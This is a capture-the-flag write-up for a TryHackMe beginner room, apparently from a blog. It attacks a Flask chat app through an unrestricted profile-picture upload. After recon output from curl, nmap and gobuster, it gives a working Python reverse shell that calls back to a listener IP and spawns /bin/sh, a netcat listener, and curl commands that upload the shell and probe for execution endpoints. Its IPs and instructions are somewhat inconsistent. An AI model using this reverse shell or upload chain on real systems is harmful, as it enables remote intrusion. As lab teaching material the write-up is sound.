# Speed Chatting🎉🚩 - Unrestricted File Upload RCE (LFI)

## Description

[Speed Chatting](https://tryhackme.com/room/lafb2026e4) is an AI Security Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers prompt injection and system configuration vulnerabilities in AI agents, a growing concern in modern cybersecurity.

> My Dearest Hacker,
> 
> Days before Valentine's Day, TryHeartMe rushed out a new messaging platform called "Speed Chatter", promising instant connections and private conversations. But in the race to beat the holiday deadline, security took a back seat. Rumours are circulating that "Speed Chatter" was pushed to production without proper testing.
> 
> As a security researcher, it's your task to break into "Speed Chatter", uncover flaws, and expose TryHeartMe's negligence before the damage becomes irreversible.
> 
> You can find the web application here: `http://MACHINE_IP:5000`

```bash
curl -i http://<IP_Address>:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.10.12
Date: Fri, 13 Feb 2026 19:19:24 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12990
Connection: close


<!DOCTYPE html>
<html>
<head>
    <title>LoveConnect - Speed Chatter</title>
    <meta charset="UTF-8">
    
</head>
<body>
    <div class='container'>
        <h1>LoveConnect</h1>
        <p class='tagline'>Speed Chat - Find Your Valentine!</p>

        <div class='main-grid'>
            <!-- Profile Section -->
            <div class='profile-card'>
                <h3>Your Profile</h3>
                
                
                
                <img src='/uploads/profile_d660722c-3f92-43e1-a4dd-c6a80ba5075b.php' class='profile-pic' alt='Profile Picture' 
                     onerror="this.src='data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22 width=%22150%22 height=%22150%22%3E%3Ccircle cx=%2275%22 cy=%2275%22 r=%2275%22 fill=%22%23f48fb1%22/%3E%3Ctext x=%2250%25%22 y=%2250%25%22 text-anchor=%22middle%22 dy=%22.3em%22 fill=%22white%22 font-size=%2250%22%3E\u2764\ufe0f%3C/text%3E%3C/svg%3E'">
                
                <div class='username'>demo</div>
                <div class='bio'>Looking for love!</div>
                
                <div class='upload-section'>
                    <h4>Update Photo</h4>
                    <form action='/upload_profile_pic' method='post' enctype='multipart/form-data' id='uploadForm'>
                        <label for='fileInput' class='file-label'>
                            Choose File
                        </label>
                        <input type='file' id='fileInput' name='profile_pic' required>
                        <div class='file-name' id='fileName'>No file selected</div>
                        <button type='submit'>Upload</button>
                    </form>
                </div>
            </div>

            <!-- Chat Section -->
            <div class='chat-card'>
                <h3>Speed Chat Room</h3>
                
                <div class='chat-container' id='chatContainer'>
                    <!-- Messages loaded here -->
                </div>
                
                <div class='chat-input-container'>
                    <input type='text' id='chatInput' placeholder='Type your message...' maxlength='200'>
                    <button id='sendBtn'>Send</button>
                </div>
            </div>
        </div>
    </div>

    <script>
        // File upload
        document.getElementById('fileInput').addEventListener('change', function(e) {
            const fileName = e.target.files[0]?.name || 'No file selected';
            document.getElementById('fileName').textContent = fileName;
        });
        
        document.getElementById('uploadForm').addEventListener('submit', function(e) {
            const button = this.querySelector('button');
            button.textContent = 'Uploading...';
            button.disabled = true;
        });

        // Chat functionality
        const chatContainer = document.getElementById('chatContainer');
        const chatInput = document.getElementById('chatInput');
        const sendBtn = document.getElementById('sendBtn');

        function loadMessages() {
            fetch('/api/messages')
                .then(r => r.json())
                .then(messages => {
                    chatContainer.innerHTML = '';
                    messages.forEach(msg => {
                        const div = document.createElement('div');
                        div.className = 'message' + (msg.user === 'demo' ? ' demo' : '');
                        
                        // Create text nodes to prevent any HTML rendering
                        const userDiv = document.createElement('div');
                        userDiv.className = 'message-user';
                        userDiv.textContent = msg.user;
                        
                        const textDiv = document.createElement('div');
                        textDiv.className = 'message-text';
                        textDiv.textContent = msg.text;
                        
                        const timeDiv = document.createElement('div');
                        timeDiv.className = 'message-time';
                        timeDiv.textContent = msg.time;
                        
                        div.appendChild(userDiv);
                        div.appendChild(textDiv);
                        div.appendChild(timeDiv);
                        
                        chatContainer.appendChild(div);
                    });
                    chatContainer.scrollTop = chatContainer.scrollHeight;
                });
        }

        function sendMessage() {
            const text = chatInput.value.trim();
            if (!text) return;

            fetch('/api/send_message', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({text: text})
            })
            .then(r => r.json())
            .then(data => {
                if (data.success) {
                    chatInput.value = '';
                    loadMessages();
                }
            });
        }

        sendBtn.addEventListener('click', sendMessage);
        chatInput.addEventListener('keypress', function(e) {
            if (e.key === 'Enter') {
                sendMessage();
            }
        });

        // Load messages on page load and refresh every 3 seconds
        loadMessages();
        setInterval(loadMessages, 3000);
    </script>
</body>
</html>
```

`nmap -sV -p- <IP_Address>`

```bash
nmap -sV -p- <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-13 19:29 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/13%Time=698F7B86%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,23A6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.5\x2
SF:0Python/3\.10\.12\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x2019:29:09\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x2012990\r\nConnection:\x20close\r\n\r\n\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>LoveConnect\x20-\x20Speed\x20Chatter</tit
SF:le>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<styl
SF:e>\n\x20\x20\x20\x20\x20\x20\x20\x20@import\x20url\('https://fonts\.goo
SF:gleapis\.com/css2\?family=Pacifico&family=Quicksand:wght@400;600&displa
SF:y=swap'\);\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\*\x20{\x20margin:\x200;\x20padding:\x200;\x20box-sizing:\x20bor
SF:der-box;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20body\x20{\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20font-family:\x20'Quicksand',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20background:\x20linear-gradient\(135deg,\x20#ff6
SF:b9d\x200%,\x20#c06c84\x2050%,\x20#f67280\x20100%\);\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20min-height:\x20100vh;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\.heart-bg\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20position:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:top:\x20-10%;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x2
SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20120%;\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\n\x20\x2
SF:0\x20\x20\x20")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//
SF:W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http
SF:://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\
SF:x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x
SF:20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\
SF:('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\
SF:x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20request\x20sy
SF:ntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</h
SF:tml>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.55 seconds
```

`gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,py`

### Python Reverse Shell

```bash
# Simple Python reverse shell
cat > shell.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.81.110.234",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
```

*   Replace `YOUR_ATTACKER_IP` with your AttackBox IP.
    

### Start a listener:

`nc -lvnp 4444`

### Upload the Python file

*   using curl:
    

```bash
curl -X POST http://10.81.134.199:5000/upload_profile_pic \ -F "profile_pic=@shell.py"
```

**Now find how to execute it:**

Try these endpoints:

```bash
# Direct execution endpoints
curl "http://10.49.153.64:5000/run?file=shell.py"
curl "http://10.49.153.64:5000/execute?script=shell.py"
curl "http://10.49.153.64:5000/api/run"

# Or check for an import/include mechanism
curl "http://10.49.153.64:5000/?import=uploads/shell"
```

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bd95052b-3b3b-4550-a53d-ccb30caec2ac.png align="center")

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f1fbedad-e4e4-4de7-b0bd-49f367544356.png align="center")
